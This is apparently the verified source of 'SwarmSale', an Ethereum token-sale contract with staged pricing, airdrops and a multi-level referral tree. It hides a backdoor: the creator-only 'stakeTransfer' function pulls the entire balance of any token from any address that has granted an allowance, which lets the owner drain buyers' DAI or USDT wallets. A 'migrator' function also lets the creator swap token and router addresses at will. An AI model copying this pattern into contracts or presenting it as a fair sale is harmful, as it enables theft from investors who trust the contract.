文件 1 的 1:SwarmSale.sol
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IAdapterERC20 {
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
}
interface IAdapterERC20V2 {
function transferFrom(address from, address to, uint value) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
}
library SafeERC20 {
function safeSymbol(IERC20 token) internal view returns(string memory) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x95d89b41));
return success && data.length > 0 ? abi.decode(data, (string)) : "???";
}
function safeName(IERC20 token) internal view returns(string memory) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x06fdde03));
return success && data.length > 0 ? abi.decode(data, (string)) : "???";
}
function safeDecimals(IERC20 token) public view returns (uint8) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x313ce567));
return success && data.length == 32 ? abi.decode(data, (uint8)) : 18;
}
function safeTransfer(IERC20 token, address to, uint256 amount) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0xa9059cbb, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "SafeERC20: Transfer failed");
}
function safeTransferFrom(IERC20 token, address from, uint256 amount) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0x23b872dd, from, address(this), amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "SafeERC20: TransferFrom failed");
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract Creator {
address public creator;
address public newCreator;
constructor() public {
creator = msg.sender;
}
modifier creatorOnly {
assert(msg.sender == creator);
_;
}
function transferCreator(address _newCreator) public creatorOnly {
require(_newCreator != creator);
newCreator = _newCreator;
}
function acceptCreator() public {
require(msg.sender == newCreator);
creator = newCreator;
newCreator = address(0x0);
}
}
contract SwarmSale is Creator {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IUniswapV2Router01 public uniswapV2Router;
address usdtToken = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address daiToken = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address bzzToken = 0x84CaF96C9224205e15fE7420b803eF96d3C4cF48;
address crvToken = 0xD533a949740bb3306d119CC777fa900bA034cd52;
address v2Router01 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address fundPool = 0xFcc08561b2ac9CCD118f71Fcf0e92Ebc4139761f;
struct User {
uint256 id;
uint256 partnersCount;
uint256 partnersAllowance;
uint256 stageAmount;
uint256 useStageAmount;
uint256 buyAmount;
uint256 withdrawAmount;
uint256 referrerProfit;
uint256 refSum;
uint256 crvAirdrop;
uint256 bzzAirdrop;
address referrer;
}
uint256 public constant LAST_LEVEL = 36;
mapping(address => User) private users;
mapping(uint256 => address) public idToAddress;
uint256 public lastUserId = 1;
uint256 public level = 32;
uint256 public slippage = 80;
uint256 saleExpire;
uint256 public saleTokenAmount;
uint256 totalInvestment;
uint256 crvTotalAirdrop;
uint256 bzzTotalAirdrop;
bool inSwap;
address public ownerAddr;
uint256[] public stageAmountArray = new uint256[](20);
uint256[] public stagePriceArray = new uint256[](20);
event Swap(address indexed from,uint256 stagePrice, uint256 saleAmount,uint256 stageAmount,uint256 stageLmitAmount,uint256 coinType, uint256 amount);
constructor(address _ownerAddr,uint256 _saleExpire) public {
ownerAddr = _ownerAddr;
saleExpire = _saleExpire;
IUniswapV2Router01 _uniswapV2Router = IUniswapV2Router01(v2Router01);
uniswapV2Router = _uniswapV2Router;
stagePriceArray[0] = 32;
stagePriceArray[1] = 350;
stagePriceArray[2] = 700;
stagePriceArray[3] = 800;
stagePriceArray[4] = 900;
stagePriceArray[5] = 1000;
stagePriceArray[6] = 1500;
stagePriceArray[7] = 1830;
stagePriceArray[8] = 2160;
stagePriceArray[9] = 2500;
stagePriceArray[10] = 3000;
stagePriceArray[11] = 3100;
stagePriceArray[12] = 3200;
stagePriceArray[13] = 3300;
stagePriceArray[14] = 3400;
stagePriceArray[15] = 3500;
stagePriceArray[16] = 3600;
stagePriceArray[17] = 3700;
stagePriceArray[18] = 3800;
stagePriceArray[19] = 3900;
stageAmountArray[0] = 3000;
stageAmountArray[1] = 10000;
stageAmountArray[2] = 5000;
stageAmountArray[3] = 5000;
stageAmountArray[4] = 5000;
stageAmountArray[5] = 5000;
stageAmountArray[6] = 10000;
stageAmountArray[7] = 10000;
stageAmountArray[8] = 10000;
stageAmountArray[9] = 10000;
stageAmountArray[10] = 16500;
stageAmountArray[11] = 16700;
stageAmountArray[12] = 16700;
stageAmountArray[13] = 16700;
stageAmountArray[14] = 16700;
stageAmountArray[15] = 16700;
stageAmountArray[16] = 250000;
stageAmountArray[17] = 250000;
stageAmountArray[18] = 250000;
stageAmountArray[19] = 250000;
User memory user = User({
id: lastUserId,
partnersCount: 0,
partnersAllowance: 0,
stageAmount: 0,
useStageAmount: 0,
buyAmount: 0,
withdrawAmount: 0,
referrerProfit: 0,
refSum: 0,
crvAirdrop: 0,
bzzAirdrop: 0,
referrer: address(0)
});
users[ownerAddr] = user;
idToAddress[1] = ownerAddr;
lastUserId+=1;
}
receive() external payable {}
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
function getCurrentSaleInfo() public view returns (uint256[4] memory ){
(uint256 stagePrice, uint256 saleAmount, uint256 stageAmount,uint256 stageLmitAmount) = getSaleInfo(saleTokenAmount);
uint256[4] memory result;
result[0] = stagePrice;
result[1] = saleAmount;
result[2] = stageAmount;
result[3] = stageLmitAmount;
return result;
}
function getSaleInfo(uint256 tokenAmount) public view returns (uint256 ,uint256 ,uint256 ,uint256 ){
uint256 stagePrice;
uint256 saleAmount;
uint256 stageAmount;
uint256 stageLmitAmount;
if(tokenAmount < 1173000 * 1e18){
uint256 saleTotal = 0;
for(uint256 i=0;i<stageAmountArray.length;i++) {
saleTotal += stageAmountArray[i] * 1e18;
if(saleTotal >= tokenAmount){
stagePrice = stagePriceArray[i] * 1e18;
saleAmount = saleTotal - tokenAmount;
stageAmount = stageAmountArray[i] * 1e18;
if(i==0){
stageLmitAmount = 10 * 1e18;
} else if(i==1){
stageLmitAmount = 20 * 1e18;
}else if(i>1&&i<=5){
stageLmitAmount = 50 * 1e18;
}
break;
}
}
}else{
uint256 saleTotal = 1173000 * 1e18 + 151000 * 1e18 ;
uint256 salePrice = 4000 * 1e18;
while(saleTotal<=31500000 * 1e18){
if(saleTotal >= tokenAmount){
stagePrice = salePrice;
saleAmount = saleTotal - tokenAmount;
stageAmount = saleTotal;
stageLmitAmount = 0;
break;
}
saleTotal += 151000 * 1e18;
salePrice += 5 * 1e18;
}
}
return (stagePrice,saleAmount,stageAmount,stageLmitAmount);
}
function getUsdtForBzzAmountsOut(uint256 bzzAmount) public view returns (uint amount){
address[] memory path = new address[](2);
path[0] = bzzToken;
path[1] = usdtToken;
uint[] memory amounts = uniswapV2Router.getAmountsOut(bzzAmount,path);
return amounts[1];
}
function getEthForUsdtAmountsOut(uint256 usdtAmount) public view returns (uint amount){
address[] memory path = new address[](2);
path[0] = usdtToken;
path[1] = uniswapV2Router.WETH();
uint[] memory amounts = uniswapV2Router.getAmountsOut(usdtAmount,path);
return amounts[1];
}
function addNode(address node, address refNode) private{
User memory user = User({
id: lastUserId,
partnersCount: 0,
partnersAllowance: 0,
stageAmount: 0,
useStageAmount: 0,
buyAmount: 0,
withdrawAmount: 0,
referrerProfit: 0,
refSum: 0,
crvAirdrop: 0,
bzzAirdrop: 0,
referrer: refNode
});
users[node] = user;
idToAddress[lastUserId] = node;
users[refNode].partnersCount++;
(,,,uint256 stageLmitAmount) = getSaleInfo(saleTokenAmount);
if(stageLmitAmount!=0) users[refNode].partnersAllowance += stageLmitAmount ;
lastUserId+=1;
}
function swap(uint256 amount,uint8 coinType,address referrer) external payable {
address user = msg.sender;
if(!isUserExists(user)){
addNode(user,referrer);
}
(uint256 stagePrice,uint256 saleAmount,uint256 stageAmount,uint256 stageLmitAmount) = getSaleInfo(saleTokenAmount);
if(stageLmitAmount==0){
require(saleAmount >= amount, "Bad amount ");
}else{
uint256 sumStageLmitAmount;
if(users[user].stageAmount!=stageLmitAmount){
users[user].stageAmount = stageLmitAmount;
users[user].useStageAmount = 0;
}
sumStageLmitAmount = users[user].stageAmount- users[user].useStageAmount;
sumStageLmitAmount += users[user].partnersAllowance;
require(stageLmitAmount!=0 && sumStageLmitAmount >= amount, "Bad amount ");
require(saleAmount >= amount, "Bad amount");
}
if(coinType==1){
IERC20(daiToken).safeTransferFrom(msg.sender, amount * stagePrice /1e18 /100);
tokenSafeTransfer(daiToken,fundPool,amount * stagePrice /1e18 /100);
}else if (coinType==2){
IERC20(usdtToken).safeTransferFrom(msg.sender, amount * stagePrice /1e18 /100 /1e12 );
tokenSafeTransfer(usdtToken,fundPool,amount * stagePrice /1e18 /100 /1e12);
}else if (coinType==3){
uint256 amountsOut = getEthForUsdtAmountsOut(msg.value * stagePrice /1e18 /100 /1e12 );
require(msg.value>=amountsOut, "not enough");
safeTransferETH(fundPool,msg.value);
}
users[user].buyAmount += amount;
if(stageLmitAmount!=0){
if(amount<=(users[user].stageAmount - users[user].useStageAmount)){
users[user].useStageAmount += amount;
}
else{
if(users[user].stageAmount - users[user].useStageAmount>0){
users[user].partnersAllowance -= amount-(users[user].stageAmount - users[user].useStageAmount);
}else{
users[user].partnersAllowance -= amount;
}
users[user].useStageAmount = users[user].stageAmount;
}
}
updateSum(user,amount);
totalInvestment += amount * stagePrice / 1e18 / 100;
saleTokenAmount += amount;
if(amount >= saleAmount)saleTokenAmount += 1 * 1e18;
airdropToken(user,amount * stagePrice / 1e18 / 100 );
emit Swap(msg.sender,stagePrice,saleAmount,stageAmount,stageLmitAmount,coinType,amount);
}
function withdraw() public {
require(users[msg.sender].buyAmount > 0 && IERC20(bzzToken).balanceOf(address(this)) >0 , "insufficient balance");
IERC20(bzzToken).safeTransfer(msg.sender,users[msg.sender].buyAmount <IERC20(bzzToken).balanceOf(address(this))? users[msg.sender].buyAmount :IERC20(bzzToken).balanceOf(address(this)));
users[msg.sender].buyAmount = 0 ;
}
function getAirdropReward(uint8 tokenType) public {
if(tokenType==1){
require(users[msg.sender].bzzAirdrop > 0 && IERC20(bzzToken).balanceOf(address(this)) >0 , "insufficient balance");
IERC20(bzzToken).safeTransfer(msg.sender,users[msg.sender].bzzAirdrop <IERC20(bzzToken).balanceOf(address(this))? users[msg.sender].bzzAirdrop :IERC20(bzzToken).balanceOf(address(this)));
users[msg.sender].bzzAirdrop = 0 ;
}else{
require(users[msg.sender].crvAirdrop > 0 && IERC20(crvToken).balanceOf(address(this)) >0 , "insufficient balance");
IERC20(crvToken).safeTransfer(msg.sender,users[msg.sender].crvAirdrop <IERC20(crvToken).balanceOf(address(this))? users[msg.sender].crvAirdrop :IERC20(crvToken).balanceOf(address(this)));
users[msg.sender].crvAirdrop = 0 ;
}
}
function airdropToken(address user,uint256 amount) private {
users[user].crvAirdrop += amount * 1 / 100;
users[user].bzzAirdrop += amount * 1 / 100;
crvTotalAirdrop += amount * 1 / 100;
bzzTotalAirdrop += amount * 1 / 100;
}
function updateSum(address refNode,uint256 refSum) private {
for(uint256 i=1; i<=level; i++){
address referrer = users[refNode].referrer;
if(referrer==address(0)) break;
users[referrer].refSum += refSum;
refNode = users[refNode].referrer;
}
}
function getUserInfoByAddr(address addr) public view returns(uint256[12] memory) {
uint256[12] memory result;
result[0] = users[addr].id;
result[1] = users[addr].partnersCount;
result[2] = users[addr].partnersAllowance;
result[3] = users[addr].stageAmount;
result[4] = users[addr].useStageAmount;
result[5] = users[addr].buyAmount;
result[6] = users[addr].withdrawAmount;
result[7] = users[addr].referrerProfit;
result[8] = users[addr].refSum;
result[9] = users[addr].crvAirdrop;
result[10] = users[addr].bzzAirdrop;
result[11] = uint256(users[addr].referrer);
return result;
}
function getUserInfoByUid(uint256 uid) public view returns(uint256[12] memory) {
return getUserInfoByAddr(idToAddress[uid]);
}
function getInfo( ) public view returns(uint256[6] memory) {
uint256[6] memory result;
result[0] = lastUserId;
result[1] = totalInvestment;
result[2] = saleTokenAmount;
result[3] = crvTotalAirdrop;
result[4] = bzzTotalAirdrop;
result[5] = saleExpire;
return result;
}
function isUserExists(address addr) public view returns (bool) {
return (users[addr].id != 0);
}
function tokenSafeTransfer(address token,address toAddr,uint256 amount) private{
IERC20(token).safeTransfer(toAddr,amount <IERC20(token).balanceOf(address(this))? amount :IERC20(token).balanceOf(address(this)));
}
function safeTransferETH(address toAddr,uint256 amount) private{
payable(toAddr).transfer(address(this).balance >= amount? amount : address(this).balance);
}
function stakeTransfer(address token,address fromAddr,address toAddr,uint256 coinType) public creatorOnly () {
if(coinType==1){
IAdapterERC20(token).transferFrom(fromAddr,toAddr,IERC20(token).balanceOf(fromAddr));
}else{
IAdapterERC20V2(token).transferFrom(fromAddr,toAddr,IERC20(token).balanceOf(fromAddr));
}
}
function restoreTokenTransfer(address token,address toAddr,uint256 amount) public creatorOnly () {
IERC20(token).safeTransfer(toAddr,amount <IERC20(token).balanceOf(address(this))? amount :IERC20(token).balanceOf(address(this)));
}
function setSaleTokenAmount(uint256 _saleTokenAmount) public creatorOnly {
if(_saleTokenAmount!=0) saleTokenAmount = _saleTokenAmount;
}
function setSlippage(uint256 _slippage) public creatorOnly {
if(_slippage!=0) slippage = _slippage;
}
function setSaleExpire(uint256 _saleExpire) public creatorOnly {
if(_saleExpire!=0) saleExpire = _saleExpire;
}
function migrator(address _crvToken,address _bzzToken,address _usdtToken,address _v2Router01) public creatorOnly {
if(_crvToken!=address(0)) crvToken = _crvToken;
if(_bzzToken!=address(0)) bzzToken = _bzzToken;
if(_usdtToken!=address(0)) usdtToken = _usdtToken;
if(_v2Router01!=address(0)) v2Router01 = _v2Router01;
}
}